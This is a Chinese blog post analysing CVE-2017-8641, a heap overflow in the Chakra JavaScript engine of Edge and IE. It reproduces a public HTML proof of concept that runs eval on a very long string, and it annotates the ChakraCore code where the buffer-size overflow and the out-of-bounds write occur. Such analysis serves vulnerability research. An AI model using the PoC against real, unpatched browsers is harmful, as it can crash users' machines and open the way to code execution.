2017年8月8日,CVE官网公布了CVE-2017-8641,在其网上的描述为:

Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)

意思是说,黑客可以通过在网页中嵌入恶意构造的javascript代码,使得微软的浏览器(如Edege),在打开这个网页时,造成堆溢出。通过精心构造javascript代码,可以通过浏览器在用户电脑上执行任意代码。受影响的版本包括下列操作系统中的浏览器(IE(9,10,11)和Edge):

1. Windows 7 SP1

2. Windows Server 2008 R2 SP1

3. Windows 8.1

4. Windows RT 8.1

5. Windows Server 2012 and R2

6. Windows 10 Gold, 1511, 1607, 1703

7. Windows Server 2016

 

最近,这个漏洞的POC被公开了,今天在浏览twiter时,发现有一位外国有人发了一篇推文:

Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)

这篇推文里面公开了漏洞的POC,下面是POC代码:

 1 <html>
 2 <head>
 3 <title> CVE-2017-8641 POC </title>
 4 </head>
 5 <script>
 7     var code = 'a'.repeat(0x55555600);
 8     eval(code);
 9 </script>
10 </html>

从POC中可以看出,代码通过构造一个超长的字符串(0x55555600),然后用JavaScript语言中的eval函数对这个超长字符串进行解析,eval函数的作用是解析某个字符串并执行其中的代码,有点类似于php中的反序列化。

正是在解析这个超长字符串的过程中,浏览器的缓冲区的返回地址被覆盖,造成了溢出,正如推文中所说,“This is a classic heap overflow when eval a string which large enough in Chakra!”,这是一个典型的堆溢出。

漏洞出现在ChakraCore-master\lib\Runtime\Library\GlobalObject.cpp这个文件中,在处理string时,没有对长度做充分检查,从而导致覆盖边界,导致堆溢出,下面是出错程序的代码:

  1 ScriptFunction* GlobalObject::DefaultEvalHelper(ScriptContext* scriptContext, const char16 *source, int sourceLength, ModuleID moduleID, uint32 grfscr, LPCOLESTR pszTitle, BOOL registerDocument, BOOL isIndirect, BOOL strictMode)
  2     {
  3         Assert(sourceLength >= 0);
  4         AnalysisAssert(scriptContext);
  5         if (scriptContext->GetThreadContext()->EvalDisabled())
  6         {
  7             throw Js::EvalDisabledException();
  8         }
  9  
 10 #ifdef PROFILE_EXEC
 11         scriptContext->ProfileBegin(Js::EvalCompilePhase);
 12 #endif
 13         void * frameAddr = nullptr;
 14         GET_CURRENT_FRAME_ID(frameAddr);
 15  
 16         HRESULT hr = S_OK;
 17         HRESULT hrParser = S_OK;
 18         HRESULT hrCodeGen = S_OK;
 19         CompileScriptException se;
 20         Js::ParseableFunctionInfo * funcBody = NULL;
 21  
 22         BEGIN_LEAVE_SCRIPT_INTERNAL(scriptContext);
 23         BEGIN_TRANSLATE_EXCEPTION_TO_HRESULT
 24         {
 25             uint cchSource = sourceLength;
 26             size_t cbUtf8Buffer = (cchSource + 1) * 3;      //OVERFLOW when cchSource large enough!!!
 27  
 28             ArenaAllocator tempArena(_u("EvalHelperArena"), scriptContext->GetThreadContext()->GetPageAllocator(), Js::Throw::OutOfMemory);
 29             LPUTF8 utf8Source = AnewArray(&tempArena, utf8char_t, cbUtf8Buffer);        //Allocate memory on Arena heap with a incorrect but smaller size
 30  
 31             Assert(cchSource < MAXLONG);
 32             size_t cbSource = utf8::EncodeIntoAndNullTerminate(utf8Source, source, static_cast< charcount_t >(cchSource));        //OOB write HERE!!!
 33             Assert(cbSource + 1 <= cbUtf8Buffer);
 34  
 35             SRCINFO const * pSrcInfo = scriptContext->GetModuleSrcInfo(moduleID);
 36              
 37             [...]
 38  
 39             LEAVE_PINNED_SCOPE();
 40         }
 41         END_TRANSLATE_EXCEPTION_TO_HRESULT(hr);
 42         END_LEAVE_SCRIPT_INTERNAL(scriptContext);
 43  
 44  
 45 #ifdef PROFILE_EXEC
 46         scriptContext->ProfileEnd(Js::EvalCompilePhase);
 47 #endif
 48         THROW_KNOWN_HRESULT_EXCEPTIONS(hr, scriptContext);
 49  
 50         if (!SUCCEEDED(hrParser))
 51         {
 52             JavascriptError::ThrowParserError(scriptContext, hrParser, &se);
 53         }
 54         else if (!SUCCEEDED(hrCodeGen))
 55         {
 56             [...]
 57         }
 58         else
 59         {
 60  
 61             [...]
 62  
 63             ScriptFunction* pfuncScript = funcBody->IsCoroutine() ?
 64                 scriptContext->GetLibrary()->CreateGeneratorVirtualScriptFunction(funcBody) :
 65                 scriptContext->GetLibrary()->CreateScriptFunction(funcBody);
 66  
 67             return pfuncScript;
 68         }
 69     }
 70      
 71      
 72     //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp
 73     __range(0, cch * 3)
 74     size_t EncodeIntoAndNullTerminate(__out_ecount(cch * 3 + 1) utf8char_t *buffer, __in_ecount(cch) const char16 *source, charcount_t cch)
 75     {
 76         size_t result = EncodeInto(buffer, source, cch);
 77         buffer[result] = 0;
 78         return result;
 79     }
 80      
 81     //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp
 82     __range(0, cch * 3)
 83         size_t EncodeInto(__out_ecount(cch * 3) LPUTF8 buffer, __in_ecount(cch) const char16 *source, charcount_t cch)
 84     {
 85         return EncodeIntoImpl<true>(buffer, source, cch);
 86     }
 87      
 88     //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp
 89         template <bool cesu8Encoding>
 90     __range(0, cchIn * 3)
 91     size_t EncodeIntoImpl(__out_ecount(cchIn * 3) LPUTF8 buffer, __in_ecount(cchIn) const char16 *source, charcount_t cchIn)
 92     {
 93         charcount_t cch = cchIn; // SAL analysis gets confused by EncodeTrueUtf8's dest buffer requirement unless we alias cchIn with a local
 94         LPUTF8 dest = buffer;
 95  
 96         if (!ShouldFastPath(dest, source)) goto LSlowPath;
 97  
 98 LFastPath:
 99         while (cch >= 4)
100         {
101             uint32 first = ((const uint32 *)source)[0];
102             if ( (first & 0xFF80FF80) != 0) goto LSlowPath;
103             uint32 second = ((const uint32 *)source)[1];
104             if ( (second & 0xFF80FF80) != 0) goto LSlowPath;
105             *(uint32 *)dest = (first & 0x0000007F) | ((first & 0x007F0000) >> 8) | ((second & 0x0000007f) << 16) | ((second & 0x007F0000) << 8);      //OOB write HERE finally!!!
106             dest += 4;
107             source += 4;
108             cch -= 4;
109         }
110  
111 LSlowPath:
112         if (cesu8Encoding)
113         {
114             [...]
115         }
116         else
117         {
118             [...]
119         }
120  
121         return dest - buffer;
122     }
View Code

相关文章:

  • 2022-12-23
  • 2021-06-14
  • 2021-11-15
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-08-18
猜你喜欢
  • 2021-11-17
  • 2021-11-28
  • 2021-07-13
  • 2022-12-23
  • 2021-12-21
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案